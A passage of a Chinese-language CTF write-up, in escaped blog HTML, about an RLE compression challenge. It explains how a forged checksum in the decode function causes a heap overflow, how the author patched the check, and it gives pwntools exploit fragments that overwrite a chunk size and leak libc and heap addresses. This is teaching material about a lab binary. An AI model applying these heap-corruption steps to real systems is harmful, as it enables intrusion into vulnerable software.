u9664size\u8868\u7684delete<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"decode%E5%87%BD%E6%95%B0\"><\/span>decode\u51fd\u6570<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<p>\u6700\u540e\u5c31\u662f\u6211\u6253\u51fa\u672c\u9898\u7684\u6838\u5fc3decode\u51fd\u6570\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-37-1024x905.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"905\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-37-1024x905.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-683\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u9996\u5148\u7a0b\u5e8f\u4f1a\u5206\u6790\u8fd9\u4e2a\u5806\u5757\u7684\u5934\u662f\u4e0d\u662fRLE\\n\uff0c\u662f\u7684\u8bdd\u4f1a\u53d6\u4e00\u4e2asum\uff0c\u8fd9\u4e2asum\u7684\u4f4d\u7f6e\u662fv3+v3[1]+8\uff0c\u90a3\u4e48v3[1]\u662f\u4ec0\u4e48\u5462\uff1f\u7ed3\u5408\u5bf9encode\u51fd\u6570\u7684\u9006\u5411\u5206\u6790\u53ef\u77e5\uff0c\u8fd9\u91cc\u5176\u5b9e\u5c31\u662fencode\u4e4b\u540e\u7684\u6570\u636e\u957f\u5ea6\uff0c\u6240\u4ee5\u8fd9\u91cc\u7684sum\u5c31\u662f\u4f2a\u9020\u6570\u636e\u7684ASCII\u7801\u4e4b\u548c\uff0c\u6240\u4ee5\u5982\u679c\u6211\u628a\u8fd9\u4e2asum\u4f2a\u9020\u4e86\uff0c\u90a3\u4e48\u6211\u5c31\u53ef\u4ee5\u5728decode\u7684\u65f6\u5019\u89e3\u538b\u51fa\u66f4\u591a\u7684\u6570\u636e\uff0c\u4ece\u800c\u8986\u76d6\u4e0b\u4e00\u4e2a\u5806\u5757\u7684size<\/p>\n\n\n\n<p>decode\u51fd\u6570\u5c31\u662fencode\u51fd\u6570\u7684\u9006\u8fc7\u7a0b\uff0c\u5176\u4e2dsum\u53c2\u6570\u4f1a\u505a\u51cf\u6cd5\uff0c\u51cf\u53bb\u6bcf\u6b21\u89e3\u538b\u7684ASCII\u7801\uff0c\u6bd4\u5982\u538b\u7f29\u540e\u7684\u6570\u636e\u662f\\x04\\x61\uff0c\u5982\u679c\u6211\u4f2a\u9020\u7684sum\u662f0x67\uff0c\u90a3\u4e48\u5728\u6267\u884c\u64cd\u4f5c\u4e4b\u540e\u505a\u51cf\u6cd5\uff0csum=0x67-0x4-0x61=0x2\uff0c\u90a3\u4e48\u6211\u8fd8\u53ef\u4ee5\u7ee7\u7eed\u5199\uff0c\u4ed6\u7684\u5224\u65ad\u662fwhile\uff08sum\uff09\uff0c\u4e5f\u5c31\u662fsum\u53ea\u6709\u4e3a0\u624d\u4f1a\u505c\u6b62\uff0c\u4e3a\u6b63\u4e3a\u8d1f\u90fd\u4e0d\u4f1a\u505c\u6b62\uff0c\u8fd9\u4e5f\u4f1a\u5bfc\u81f4\u8fd9\u6837\u4e00\u4e2a\u95ee\u9898\uff0c\u5982\u679csum\u53d8\u6210\u4e86\u8d1f\u6570\uff0c\u90a3\u4e48\u5c31\u4f1a\u6b7b\u5faa\u73af\u4e86\uff0c\u6b63\u56e0\u4e3asum\u5fc5\u987b\u4e3a0\u624d\u505c\u6b62\uff0c\u6240\u4ee5\u8fd9\u91cc\u7684\u4f2a\u9020\u6bd4\u8f83\u590d\u6742\uff0c\u9700\u8981\u4e0d\u65ad\u8c03\u8bd5<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-38.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"886\" height=\"815\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-38.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-684\"  sizes=\"(max-width: 886px) 100vw, 886px\" \/><\/div><\/figure>\n\n\n\n<p>\u540e\u7eed\u64cd\u4f5c\u548cdecode\u5c31\u5dee\u4e0d\u591a\u4e86<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E5%85%88%E8%AF%B4%E8%AF%B4%E6%80%8E%E4%B9%88patch\"><\/span>\u5148\u8bf4\u8bf4\u600e\u4e48patch<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u9996\u5148\u53ef\u4ee5\u80af\u5b9a\u7684\u662f\uff0c\u8fd9\u9898\u7684check\u5199\u7684\u5c31\u662f\u4e00\u5768\u72d7\u5c4e\uff0c\u8fd9\u662f\u6bcb\u5eb8\u7f6e\u7591\u7684\uff0c\u6211\u4fee\u7684\u662fmagic\u5934\uff0c\u5728\u6570\u636e\u6bb5\u627e\u5230RLE\u8fd9\u4e2a\u5b57\u7b26\u4e32\uff0c\u968f\u4fbf\u6539\u6389\u5c31\u53ef\u4ee5\uff0c\u6bd4\u5982\u6211\u6539\u6210\u4e86RJE\uff0c\u6ca1\u60f3\u5230\u5c31\u8fc7\u4e86\uff1f\u5f88\u795e\u5947\u6709\u6ca1\u6709\uff0c\u6b63\u662f\u56e0\u4e3a\u8fd9\u91ccpatch\u8fc7\u4e86\uff0c\u624d\u6709\u4e86\u6211\u4e0a\u9762\u7684\u601d\u8def\uff0c\u56e0\u4e3a\u4e00\u5f00\u59cb\u6211\u4e5f\u4e0d\u77e5\u9053\u600e\u4e48\u6539\uff0c\u6211\u5c31\u731c\u6d4b\u4ed6\u53ef\u80fd\u4f1a\u4f2a\u9020encode\u540e\u7684\u6570\u636e\u8fdb\u884c\u653b\u51fb\uff0c\u6240\u4ee5\u4e00\u5b9a\u8981\u8fc7memcpy(&#8220;RLE\\n&#8221;,4)\u7684\u68c0\u67e5\uff0c\u56e0\u6b64\u53ea\u8981\u9b54\u672f\u5934\u53d8\u4e86\uff0c\u4ed6\u7684exp\u4e00\u5b9a\u5c31\u6253\u4e0d\u901a\u4e86\uff0c\u4e8b\u5b9e\u4f30\u8ba1\u4e5f\u6b63\u662f\u5982\u6b64<\/p>\n\n\n\n<p>0xh3y3\u5e08\u5085\u8bf4\u628amalloc_usable_size patch\u6210malloc\u4e5f\u8fc7\u4e86\uff0c\u786e\u5b9e\u96be\u7ef7<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-39.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"769\" height=\"115\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-39.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-685\"  sizes=\"(max-width: 769px) 100vw, 769px\" \/><\/div><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E8%A7%A3%E9%A2%98%E6%80%9D%E8%B7%AF\"><\/span>\u89e3\u9898\u601d\u8def<span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p>\u524d\u9762\u65e2\u7136\u5df2\u7ecf\u8bf4\u8fc7\u4e86\u4f1a\u5bfc\u81f4\u6ea2\u51fa\u7684\u6f0f\u6d1e\u5728decode\u51fd\u6570\u4e86\uff0c\u90a3\u4e48\u6838\u5fc3\u5c31\u662f\u770b\u4e00\u4e0b\u8be5\u5982\u4f55\u6784\u9020\u4e86<\/p>\n\n\n\n<h4 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"%E7%AC%AC%E4%B8%80%E6%AD%A5%EF%BC%9A%E4%BC%AA%E9%80%A0size\"><\/span>\u7b2c\u4e00\u6b65\uff1a\u4f2a\u9020size<span class=\"ez-toc-section-end\"><\/span><\/h4>\n\n\n\n<pre class=\"wp-block-code\"><code>rle=b'RLE\\n'+p32(0x14)+b'\\x68\\x20\\x60\\x20'+b'\\x60\\x20\\x60\\x20'*4+p32(0x760)+b'\\x70\\x20\\x70\\x20'+b'\\x01\\x41\\x01\\x12\\x06\\x00'+b'\\x06\\x70'\n\n#-----------------\u4fee\u6539\u4e0b\u4e00\u4e2a\u5806\u5757\u7684size---------------------\nupload(0,len(rle),rle)\nupload(1,0x500,b'aaaabbbb'*(32*5))\nupload(2,0x500,b'ccccdddd'*32*5)\nencode(1)\ndecode(0)\n#-------------------------------------------------------<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u6211\u4f2a\u9020\u7684decode\u4e4b\u540e\u7684\u6570\u636e\u957f\u5ea6\u662f0x14\uff0c\u539f\u56e0\u662f0x14&lt;&lt;6=0x500\uff0c\u76ee\u7684\u662f\u4e3a\u4e86\u5728encode\u4e4b\u540e\uff0c\u7a7a\u51fa\u6765\u7684\u90a3\u4e2a\u5806\u5757\u5927\u5c0f\u521a\u597d\u662f0x500\uff0c\u6b63\u597d\u53ef\u4ee5\u88abdecode\u91cc\u9762\u7684malloc\u51fd\u6570\u518d\u6b21\u7533\u8bf7\u5230\uff0c\u540c\u65f60x500\u91ca\u653e\u4e4b\u540e\u76f4\u63a5\u653e\u5165unsorted bin\uff0c\u4e0d\u8fdb\u5165tcache\uff0c\u8fd9\u91cc\u4e5f\u662f\u6709\u7528\u7684<\/p>\n\n\n\n<p>\u6240\u4ee5\u6839\u636e\u5bf9decode\u7684\u9006\u5411\uff0c\u6700\u7ec8sum\u7684\u4f4d\u7f6e\u5e94\u8be5\u662f\uff08v3+0x14+0x8\uff09\uff0c\u6240\u4ee5\u4eceRLE\u5934\u5f00\u59cb\u5230sum\uff0c\u4e2d\u95f4\u5e94\u8be5\u67090x1c\u7684\u586b\u5145<\/p>\n\n\n\n<p>\u63a5\u7740decode\u51fd\u6570\u4f1a\u6839\u636esum\u5bf9\u6211\u4eec\u7684\u6570\u636e\u8fdb\u884c\u89e3\u538b\uff0c\u8fd9\u91ccgdb\u8c03\u8bd5\u770b\u4e00\u4e0b\uff08\u65ad\u70b9\u4e0b\u8f7dencode\u548cdecode\u4e4b\u95f4\uff09<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-40-1024x311.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"311\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-40-1024x311.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-686\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5de6\u8fb9\u7684\u6846\u5708\u51fa\u7684\u5c31\u662flength\uff0c\u53f3\u8fb9\u7684\u6846\u5708\u51fa\u7684\u5c31\u662fsum<\/p>\n\n\n\n<p>\u63a5\u7740\uff0cdecode\u51fd\u6570\u7533\u8bf7\u4e86\u4e00\u4e2a0x14&lt;&lt;6=0x500\u5927\u5c0f\u7684\u5806\u5757\uff0c\u7533\u8bf7\u5b8c\u4e4b\u540e\u521a\u597d\u5c31\u662f\u56fe\u7247\u4e2d\u7684unsortedbin\u7684\u4f4d\u7f6e<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-41-1024x341.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"341\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-41-1024x341.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-687\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u4f1a\u6839\u636eRLE\u7684\u6587\u4ef6\u4f53\u8fdb\u884c\u89e3\u6790\uff0c\u9996\u5148\u662f0x68\u4e2a0x20\uff0c\u90a3\u4e48\u7b2c\u4e00\u6b21\u586b\u5145\uff0c\u4f1a\u9996\u5148\u586b\u51450x68\u4e2a0x20\uff0c\u540c\u65f6sum-=(0x68+0x20)\uff0c\u4ece0x760\u53d8\u62100x6f8<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-42-1024x192.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"192\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-42-1024x192.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-688\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-45-1024x394.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"394\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-45-1024x394.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-691\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u540e\u9762\u7684\u8fc7\u7a0b\u4ee5\u6b64\u7c7b\u63a8\uff0c\u8981\u6ce8\u610f\u7684\u662f\uff0c\u7531\u4e8esum\u672c\u8eab\u4f2a\u9020\u7684\u8fc7\u5927\uff0c\u6240\u4ee5sum\u81ea\u5df1\u4e5f\u4f1a\u88ab\u89e3\u6790\u6210\u538b\u7f29\u540e\u7684\u6570\u636e\uff0c\u53730x60\u4e2a0x07\uff0c0x00\u4e2a0x00\uff0c\u7136\u540e\u624d\u4f1a\u7ee7\u7eed\u89e3\u6790\u540e\u9762\u7684\u6570\u636e<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-47-1024x32.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"32\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-47-1024x32.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-693\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u91cc\u7ecf\u8fc7\u8c03\u8bd5\uff0c\u7ea2\u6846\u5185\u7684payload\u521a\u597d\u5b8c\u6210\u4e86\u5bf9\u4e0a\u56fe\u4e2d\u7eff\u8272\u7684\uff0c\u5927\u5c0f\u4e3a0x511\u7684\u5806\u5757\u7684\u586b\u5145\uff0c\u4e8e\u662f\u540e\u9762\u7684\u7eff\u6846\u5185\u7684payload\u5c31\u662f\u7528\u6765\u6539\u4e0b\u4e00\u4e2a\u5806\u5757\u7684size\u7684\uff0c\u6839\u636epayload\u5e94\u8be5\u4e0d\u96be\u770b\u51fa\uff0c\u6211\u628asize\u6539\u6210\u4e860x1241=0x511+0x620+0x710\uff0c\u8fd9\u91cc\u76840x620\u662fencode\u51fd\u6570malloc\u7684\uff0c0x710\u662f\u6211\u8fd8\u6ca1\u6709malloc\uff0c\u5373\u5c06\u60f3\u8981malloc\u7684\u5927\u5c0f\uff08\u6240\u4ee5\u8fd9\u91cc\u5176\u5b9e\u5df2\u7ecf\u8d85\u8fc7\u4e86top chunk\uff09\uff0c\u9ec4\u6846\u90e8\u5206\u7684payload\uff0c\u76ee\u7684\u5c31\u662f\u4e3a\u4e86\u5728\u586b\u5145\u5b8csize\u4e3a\u4e4b\u540e\uff0c\u8ba9sum\u7ee7\u7eed\u51cf\u52300\u4ece\u800c\u7ec8\u6b62while\u5faa\u73af\u8fdb\u884c\u7684\u8c03\u6574\uff0c\u662f\u8c03\u8bd5\u51fa\u6765\u7684\u7ed3\u679c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-48-1024x651.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"651\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-48-1024x651.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-694\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5373\u5c06\u5f00\u59cb\u8986\u76d6size\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-49-1024x686.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"686\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-49-1024x686.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-695\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8986\u76d6\u7ed3\u675f\u540e\uff1a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-50-1024x361.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"361\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-50-1024x361.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-696\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u6b64\u65f6sum\u8fd8\u52690x76=0x6+0x70<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-51-1024x207.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"207\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-51-1024x207.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-697\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u65e2\u7136\u8fd9\u6837\u90a3\u6211\u4eec\u5c31\u6210\u529f\u7684\u4fee\u6539\u4e86\u5806\u5757\u7684size\uff0c\u540e\u9762\u7684\u6253\u6cd5\u5c31\u5bb9\u6613\u4e86<\/p>\n\n\n\n<p>\u63a5\u4e0b\u6765\u6211\u4eec\u8fdb\u884c\u6cc4\u9732libc\u7684\u64cd\u4f5c\uff0c\u539f\u7406\u5c31\u662f\u5806\u5757\u91cd\u53e0\uff0c\u7c7b\u4f3c\u5806\u98ce\u6c34<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#-----------------\u6cc4\u9732libc------------------------------\nupload(3,0x700,b'eeeeffff'*(32*7))\nupload(5,0x700,b'iiiijjjj'*(32*7))\nupload(6,0xe00,b'kkkkllll'*(32*0xe))\nupload(7,0x700,b'mmmmnnnn'*(32*7))\nrelease(2)\nupload(4,0x500,b'gggghhhh'*32*5)\nrelease(6)\ndownload(1)\n\np.rcvu(b'FileData: ')\nlibcbase=p.uu64()-0x1ecbe0\np.rcv(2)\nheapbase=p.uu64()-0x2130\n\nprint('libcbase:',hex(libcbase))\nprint('heapbase:',hex(heapbase))\n#-------------------------------------------------------<\/code><\/pre>\n\n\n\n<p>\u91ca\u653e\u4f2a\u9020\u5806\u5757\uff0c\u5f97\u5230\u4e00\u5757\u5927\u7684unsortedbin<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-52-1024x447.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" width=\"1024\" height=\"447\" data-original=\"http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-52-1024x447.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-698\"  sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5728\u7533\u8bf70x500\u7684\u5927\u5c0f\uff0c\u4e8e\u662f\u5728index\u4e3a1\u7684\u5806\u5757\u91cc\u5c31\u4f1a\u5b58\u5728\u6b8b\u7559\u6307\u9488<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/39.104.51.85\/wp-content\/uploads\/2025\/03\/image-53-1024x413.png'><img 